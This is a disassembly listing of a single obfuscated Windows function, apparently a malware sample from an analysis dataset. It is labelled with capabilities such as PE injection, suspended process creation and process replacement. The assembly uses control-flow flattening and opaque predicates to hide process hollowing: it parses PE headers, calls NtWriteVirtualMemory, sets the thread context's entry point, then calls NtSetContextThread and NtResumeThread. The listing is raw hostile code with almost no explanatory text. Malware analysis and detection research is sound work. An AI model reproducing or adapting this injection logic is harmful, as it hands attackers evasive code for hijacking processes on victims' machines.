Function at 0x10007070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x138
mov eax, dword [0x1006b004]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x140], 0xf231910d
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
sub eax, 0x805b355e
je 0x1000d538
jmp 0x100070ac
mov eax, dword [ebp - 0x144]
sub eax, 0x806f3efd
je 0x1000cff5
jmp 0x100070c2
mov eax, dword [ebp - 0x144]
sub eax, 0x80a4383f
je 0x1000c31a
jmp 0x100070d8
mov eax, dword [ebp - 0x144]
sub eax, 0x814d9c5d
je 0x1000d072
jmp 0x100070ee
mov eax, dword [ebp - 0x144]
sub eax, 0x818dd732
je 0x1000a55a
jmp 0x10007104
mov eax, dword [ebp - 0x144]
sub eax, 0x82e296a5
je 0x1000bcca
jmp 0x1000711a
mov eax, dword [ebp - 0x144]
sub eax, 0x8326e52b
je 0x1000d372
jmp 0x10007130
mov eax, dword [ebp - 0x144]
sub eax, 0x85340931
je 0x1000ad9a
jmp 0x10007146
mov eax, dword [ebp - 0x144]
sub eax, 0x85b93c59
je 0x100090fb
jmp 0x1000715c
mov eax, dword [ebp - 0x144]
sub eax, 0x86fd822d
je 0x1000c687
jmp 0x10007172
mov eax, dword [ebp - 0x144]
sub eax, 0x87b28401
je 0x1000cb2a
jmp 0x10007188
mov eax, dword [ebp - 0x144]
sub eax, 0x87b55031
je 0x1000d411
jmp 0x1000719e
mov eax, dword [ebp - 0x144]
sub eax, 0x8900ec72
je 0x1000aee4
jmp 0x100071b4
mov eax, dword [ebp - 0x144]
sub eax, 0x8940bb86
je 0x1000d2e6
jmp 0x100071ca
mov eax, dword [ebp - 0x144]
sub eax, 0x897610ad
je 0x1000940e
jmp 0x100071e0
mov eax, dword [ebp - 0x144]
sub eax, 0x89ada086
je 0x100099ee
jmp 0x100071f6
mov eax, dword [ebp - 0x144]
sub eax, 0x8bcf8d8e
je 0x1000b80b
jmp 0x1000720c
mov eax, dword [ebp - 0x144]
sub eax, 0x8bfc8582
je 0x1000c552
jmp 0x10007222
mov eax, dword [ebp - 0x144]
sub eax, 0x8c0e40f6
je 0x1000c940
jmp 0x10007238
mov eax, dword [ebp - 0x144]
sub eax, 0x8ec69271
je 0x100096be
jmp 0x1000724e
mov eax, dword [ebp - 0x144]
sub eax, 0x914b5f53
je 0x10008d82
jmp 0x10007264
mov eax, dword [ebp - 0x144]
sub eax, 0x9278a766
je 0x1000c6b4
jmp 0x1000727a
mov eax, dword [ebp - 0x144]
sub eax, 0x933501b7
je 0x1000c48b
jmp 0x10007290
mov eax, dword [ebp - 0x144]
sub eax, 0x936dc54d
je 0x1000b9da
jmp 0x100072a6
mov eax, dword [ebp - 0x144]
sub eax, 0x9722b8c5
je 0x1000ac52
jmp 0x100072bc
mov eax, dword [ebp - 0x144]
sub eax, 0x974d6052
je 0x1000a145
jmp 0x100072d2
mov eax, dword [ebp - 0x144]
sub eax, 0x977f6a8a
je 0x1000b81a
jmp 0x100072e8
mov eax, dword [ebp - 0x144]
sub eax, 0x9795645d
je 0x1000d0d9
jmp 0x100072fe
mov eax, dword [ebp - 0x144]
sub eax, 0x97a8769e
je 0x1000a065
jmp 0x10007314
mov eax, dword [ebp - 0x144]
sub eax, 0x9a26c1cc
je 0x1000c210
jmp 0x1000732a
mov eax, dword [ebp - 0x144]
sub eax, 0x9cc5f445
je 0x1000cb15
jmp 0x10007340
mov eax, dword [ebp - 0x144]
sub eax, 0x9cfce621
je 0x1000c964
jmp 0x10007356
mov eax, dword [ebp - 0x144]
sub eax, 0x9d0f1709
je 0x1000c696
jmp 0x1000736c
mov eax, dword [ebp - 0x144]
sub eax, 0x9d7f987c
je 0x1000bd77
jmp 0x10007382
mov eax, dword [ebp - 0x144]
sub eax, 0x9df11bfc
je 0x1000c363
jmp 0x10007398
mov eax, dword [ebp - 0x144]
sub eax, 0x9e31ec97
je 0x1000b1aa
jmp 0x100073ae
mov eax, dword [ebp - 0x144]
sub eax, 0x9f559493
je 0x1000ae1e
jmp 0x100073c4
mov eax, dword [ebp - 0x144]
sub eax, 0xa212444d
je 0x1000a196
jmp 0x100073da
mov eax, dword [ebp - 0x144]
sub eax, 0xa2e61f26
je 0x1000b7b3
jmp 0x100073f0
mov eax, dword [ebp - 0x144]
sub eax, 0xa47b2ddb
je 0x100093bd
jmp 0x10007406
mov eax, dword [ebp - 0x144]
sub eax, 0xa483ef54
je 0x1000b5e2
jmp 0x1000741c
mov eax, dword [ebp - 0x144]
sub eax, 0xa5fd369d
je 0x1000ab3f
jmp 0x10007432
mov eax, dword [ebp - 0x144]
sub eax, 0xa6c30d98
je 0x1000d4de
jmp 0x10007448
mov eax, dword [ebp - 0x144]
sub eax, 0xaaff3e2c
je 0x1000d5e7
jmp 0x1000745e
mov eax, dword [ebp - 0x144]
sub eax, 0xaba84bf5
je 0x1000d1b0
jmp 0x10007474
mov eax, dword [ebp - 0x144]
sub eax, 0xabf0046c
je 0x1000a619
jmp 0x1000748a
mov eax, dword [ebp - 0x144]
sub eax, 0xac9e94c6
je 0x1000b2ad
jmp 0x100074a0
mov eax, dword [ebp - 0x144]
sub eax, 0xaf8507f7
je 0x1000c6d2
jmp 0x100074b6
mov eax, dword [ebp - 0x144]
sub eax, 0xafae6760
je 0x10009785
jmp 0x100074cc
mov eax, dword [ebp - 0x144]
sub eax, 0xafde9cf2
je 0x1000bf06
jmp 0x100074e2
mov eax, dword [ebp - 0x144]
sub eax, 0xb045b5e3
je 0x10009200
jmp 0x100074f8
mov eax, dword [ebp - 0x144]
sub eax, 0xb0712bce
je 0x1000c4dc
jmp 0x1000750e
mov eax, dword [ebp - 0x144]
sub eax, 0xb0f8cea3
je 0x1000c415
jmp 0x10007524
mov eax, dword [ebp - 0x144]
sub eax, 0xb23e3fa0
je 0x1000aa60
jmp 0x1000753a
mov eax, dword [ebp - 0x144]
sub eax, 0xb25199f6
je 0x10009492
jmp 0x10007550
mov eax, dword [ebp - 0x144]
sub eax, 0xb27cdea9
je 0x1000ba36
jmp 0x10007566
mov eax, dword [ebp - 0x144]
sub eax, 0xb2b7b89c
je 0x1000d0ac
jmp 0x1000757c
mov eax, dword [ebp - 0x144]
sub eax, 0xb40bd685
je 0x1000a02e
jmp 0x10007592
mov eax, dword [ebp - 0x144]
sub eax, 0xb4cbccde
je 0x1000cd49
jmp 0x100075a8
mov eax, dword [ebp - 0x144]
sub eax, 0xb4dfb032
je 0x1000d529
jmp 0x100075be
mov eax, dword [ebp - 0x144]
sub eax, 0xb614cf34
je 0x10008e36
jmp 0x100075d4
mov eax, dword [ebp - 0x144]
sub eax, 0xb7213971
je 0x1000c7b9
jmp 0x100075ea
mov eax, dword [ebp - 0x144]
sub eax, 0xb7d05be8
je 0x1000a7c3
jmp 0x10007600
mov eax, dword [ebp - 0x144]
sub eax, 0xb81c1fad
je 0x1000c13b
jmp 0x10007616
mov eax, dword [ebp - 0x144]
sub eax, 0xb8a7ef5a
je 0x1000be90
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20588923
mov ecx, 0x1ed01cd9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dl, byte [ebp - 0xc5]
mov eax, 0x5f697d47
mov ecx, 0x7f70b20d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xc0]
add eax, 0x6978f5b2
add eax, ecx
sub eax, 0x6978f5b2
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
add edx, 0xfb08963
sub edx, 1
sub edx, 0xfb08963
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcce521e1
mov ecx, 0x12616eff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [ebp - 0xb8]
cmp eax, 0x4550
sete al
and al, 1
mov byte [ebp - 0xb1], al
mov dword [ebp - 0x140], 0x4d9e86bb
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
add edx, 0x4018de9e
sub edx, 1
sub edx, 0x4018de9e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x19ba84b1
mov ecx, 0x897610ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
add edx, 0x53713961
sub edx, 1
sub edx, 0x53713961
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x19ba84b1
mov ecx, 0xb25199f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dword [ebp - 0x140], 0xf1273ec2
jmp 0x1000d668
mov dword [ebp - 0x140], 0x4bad08f8
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
add edx, 0xf0152a6
sub edx, 1
sub edx, 0xf0152a6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33efdca9
mov ecx, 0xbe21ac63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dword [ebp - 0x140], 0xb82929a
jmp 0x1000d668
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x140], 0x97a8769e
jmp 0x1000d668
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0xf3b92b1b
add edx, eax
add edx, 0xf3b92b1b
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x88]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x140], 0xbb4923d3
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
add edx, 0xa2f3a019
sub edx, 1
sub edx, 0xa2f3a019
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7fffcb66
mov ecx, 0xa212444d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x87b28401
mov ecx, 0xf34e3665
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
sub edx, 0x68f84896
sub edx, 1
add edx, 0x68f84896
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x90c8808
mov ecx, 0x635695f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dl, byte [ebp - 0x79]
mov eax, 0x1ed746ac
mov ecx, 0x13104491
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
sub edx, 0xe3112adc
sub edx, 1
add edx, 0xe3112adc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b8755db
mov ecx, 0xc3793ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dword [ebp - 0x140], 0x52c72c90
jmp 0x1000d668
mov dword [ebp - 0x140], 0x58afd3ff
jmp 0x1000d668
mov dl, byte [ebp - 0x5d]
mov eax, 0x5679fb47
mov ecx, 0xee2fa9aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x5c]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x55], al
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5cb2ef8d
mov ecx, 0x9f559493
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dl, byte [ebp - 0x55]
mov eax, 0x5679fb47
mov ecx, 0x69e5c926
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x138]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov dword [ebp - 0x140], 0x645fd4c7
jmp 0x1000d668
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
sub edx, 0x4c65c44b
sub edx, 1
add edx, 0x4c65c44b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc572d80d
mov ecx, 0xf36e5da5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dl, byte [ebp - 0x39]
mov eax, 0xff7a008c
mov ecx, 0xb8ee373a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
add edx, 0xf16425
sub edx, 1
sub edx, 0xf16425
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x39fe08d0
mov ecx, 0xb91954c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12259079
mov ecx, 0x1620b245
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dword [ebp - 0x140], 0x645fd4c7
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
sub edx, 0x3e1356b9
sub edx, 1
add edx, 0x3e1356b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ff62957
mov ecx, 0xf9e9ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
sub edx, 0x8e2bc405
sub edx, 1
add edx, 0x8e2bc405
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdcc1bb91
mov ecx, 0xb27cdea9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
add edx, 0x59138761
sub edx, 1
sub edx, 0x59138761
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8326e52b
mov ecx, 0xd68a3b11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x138]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
sub edx, 0xcf36ac77
sub edx, 1
add edx, 0xcf36ac77
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x781b433c
mov ecx, 0x5495c710
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0x70b00f0d
jmp 0x1000d668
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x34]
add ecx, 0xe3eca73f
sub ecx, eax
sub ecx, 0xe3eca73f
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
sub eax, 0x301e4e8a
add eax, ecx
add eax, 0x301e4e8a
mov dword [ebp - 0x28], eax
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
sub edx, 0xee87a03d
sub edx, 1
add edx, 0xee87a03d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1093a0c1
mov ecx, 0x44f79e0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dword [ebp - 0x140], 0x70b00f0d
jmp 0x1000d668
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x28]
add ecx, 0x1b498995
add ecx, eax
sub ecx, 0x1b498995
mov eax, dword [ebp - 0x13c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
sub edx, 0x36b896df
sub edx, 1
add edx, 0x36b896df
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xff2dd325
mov ecx, 0x25bdb00
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6c30d98
mov ecx, 0x9df11bfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
add edx, 0x6cd36ee1
sub edx, 1
sub edx, 0x6cd36ee1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa6c30d98
mov ecx, 0xc53efac8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
add edx, 0x41c31891
sub edx, 1
sub edx, 0x41c31891
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xecf300d0
mov ecx, 0x933501b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
add edx, 0xe1295132
sub edx, 1
sub edx, 0xe1295132
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xecf300d0
mov ecx, 0xb0712bce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
mov edx, ecx
sub edx, 0xc955df4
sub edx, 1
add edx, 0xc955df4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb2b7b89c
mov ecx, 0x8bfc8582
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
mov edx, eax
add edx, 0x443b6f7f
sub edx, 1
sub edx, 0x443b6f7f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4dfb032
mov ecx, 0x4d1e2c2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov dword [ebp - 0x140], 0x9d0f1709
jmp 0x1000d668
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x140], 0x9278a766
jmp 0x1000d668
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x140], 0xaf8507f7
jmp 0x1000d668
mov dword [ebp - 0x140], 0x5f697d47
jmp 0x1000d668
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x140], 0xc9328a50
jmp 0x1000d668
mov dword [ebp - 0x140], 0x23a44c34
jmp 0x1000d668
mov dword [ebp - 0x140], 0x46150d
jmp 0x1000d668
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x140], 0x78bf3f01
jmp 0x1000d668
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x140], 0xf34e3665
jmp 0x1000d668
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [0x1006c288]
mov ecx, dword [0x1006c284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaaff3e2c
mov ecx, 0x96d39be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov ecx, dword [0x1006c288]
mov eax, dword [0x1006c284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x39840ed2
mov ecx, 0x31a20949
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x1000d668
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x28]
add ecx, 0x9aebca63
add ecx, eax
sub ecx, 0x9aebca63
mov eax, dword [ebp - 0x13c]
mov dword [eax + 0xb0], ecx
